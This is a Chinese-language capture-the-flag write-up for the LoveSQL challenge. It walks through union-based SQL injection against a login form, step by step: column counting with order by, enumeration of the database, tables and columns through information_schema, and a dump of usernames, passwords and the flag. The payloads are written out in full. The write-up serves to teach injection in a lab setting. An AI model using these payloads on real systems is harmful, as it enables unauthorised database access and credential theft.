[TOC]

今天下午做的是[极客大挑战 2019]LoveSQL,这道题让我详细了解了SQL注入的步骤一及解决办法。

首先打开界面是:

image-20210804171429024

然后对其进行数字还是字符型注入进行判断,得到

image-20210804171606874

单引号引起报错

image-20210804171646832

image-20210804171737434

双引号不报错

image-20210804171751468

接下来就是按sql注入的流程操作:
1.测试有多少字段
测试每个字段对应的内容
2.爆出数据库名
3.爆出数据库里的表
4.爆出表的列名
5.爆出所有数据

测试有多少个字段:

使用order by检测:

image-20210804172108361

image-20210804172136953

image-20210804172216632

测试到3没有引起报错,说明字段数目为三

测试当前数据库名:

使用联合查询,结合得到的3个字段数,构造payload:

?username=1' union select null,null,(select database())%23&password=2

image-20210804174714960

所以数据库名为 geek。

cha’biao’mi’g

查表名:

构造payload:

?username=1' union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema='geek')%23&password=2

image-20210804174935410

得到表名为:geekuser,l0ve1ysq1

查列名:

先查询geekuser: id username password

?username=1' union select null,null,( select group_concat( column_name ) from information_schema.columns where table_name='geekuser')%23&password=2

image-20210804175207246

再查询 l0ve1ysq1: id,username,password

?username=1' union select null,null,( select group_concat(  column_name ) from information_schema.columns where  table_name='l0ve1ysq1')%23&password=2

image-20210804175350598

查数据:

geekuser:

?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.geekuser%23&password=2

image-20210804175647377

image-20210804175725305

l0ve1ysq1:

Your password is ‘1:cl4y:wo_tai_nan_le,2:glzjin:glzjin_wants_a_girlfriend,3:Z4cHAr7zCr:biao_ge_dddd_hm,4:0xC4m3l:linux_chuang_shi_ren,5:Ayrain:a_rua_rain,6:Akko:yan_shi_fu_de_mao_bo_he,7:fouc5:cl4y,8:fouc5:di_2_kuai_fu_ji,9:fouc5:di_3_kuai_fu_ji,10:fouc5:di_4_kuai_fu_ji,11:fouc5:di_5_kuai_fu_ji,12:fouc5:di_6_kuai_fu_ji,13:fouc5:di_7_kuai_fu_ji,14:fouc5:di_8_kuai_fu_ji,15:leixiao:Syc_san_da_hacker,16:flag:flag{4c72673a-930a-4ea0-949f-3109ee061cd8}’

?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.l0ve1ysq1%23&password=2

image-20210804180028013

image-20210804180127444

在这个表中直接找到了flag.

总结:

sql注入的流程操作:
1.测试有多少字段
测试每个字段对应的内容
2.爆出数据库名
3.爆出数据库里的表
4.爆出表的列名
5.爆出所有数据